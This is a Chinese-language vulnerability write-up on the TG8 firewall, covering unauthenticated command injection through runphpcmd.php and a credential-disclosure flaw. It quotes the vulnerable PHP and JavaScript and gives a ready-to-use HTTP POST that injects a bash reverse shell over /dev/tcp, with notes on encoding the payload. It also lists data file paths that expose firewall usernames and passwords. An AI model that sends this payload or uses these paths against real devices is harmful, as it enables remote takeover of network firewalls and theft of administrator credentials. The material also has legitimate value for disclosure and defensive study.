漏洞描述
TG8 Firewall RCE 和 信息泄露
漏洞影响
TG8防火墙
代码审计
该漏洞原因为在index.php文件中调用了runphpcmd.php,其中一行代码为
'sudo /home/TG8/v3/syscmd/check_gui_login.sh ' + username + ' ' + pass;
从以上可以看到以sudo来调用cmd,显然这里我们可以进行替换,进行任意命令执行。但是我们还有看一下runphpcmd.php里面是否有对其的限制和过滤,runphpcmd.php源码为:
function checkLogin() {
var username = $('input[name=u]').val();
var pass = $('input[name=p]').val();
var cmd = 'sudo /home/TG8/v3/syscmd/check_gui_login.sh ' + username + ' ' + pass;
$.ajax({
url: "runphpcmd.php",
type: "post",
dataType: "json",
cache: "false",
data: {
syscmd: cmd
},
success: function (x) {
if (x == 'OK') {
ok(username);
} else {
failed();
}
},
error: function () {
ok(username);
// alert("failure to excute the command");
}
})
}
从以上源码可以看出来,并没有对syscmd的内容进行验证,结果直接就以json格式返回给调用者。
<?php
header('Content-Type: application/json');
$response= array();
$output= array();
$cmd_1 = $_POST['syscmd'];
$data = 'cmd= '.$cmd_1."\n";
$fp = fopen('/opt/phpJS.log', 'a');
fwrite($fp, $data);
exec($cmd_1,$output,$ret);
$data = ' output ='. json_encode($output)."\n*******************************************************\n";
$fp = fopen('/opt/phpJS.log', 'a');
fwrite($fp, $data);
$response[] = array("result" => $output);
// Encoding array in JSON format
echo json_encode($output);
?>
所以我们就可以构造payload了,如下:
POST /admin/runphpcmd.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:86.0) Gecko/20100101 Firefox/86.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 68
Connection: keep-alive
syscmd=sudo+%2Fhome%2FTG8%2Fv3%2Fsyscmd%2Fcheck_gui_login.sh+%3Bbash%2F-i%2F>&%2F/dev/tcp/127.0.0.1/10086%2F0>&1%3B++local
空格用%2f替换,‘;’用%3B替换
2、信息泄露
任何用户都可以通过访问以下url路径来枚举防火墙的用户和密码信息。
http://127.0.0.1/data/w-341.tg
http://127.0.0.1/data/w-342.tg
http://127.0.0.1/data/r-341.tg
http://127.0.0.1/data/r-342.tg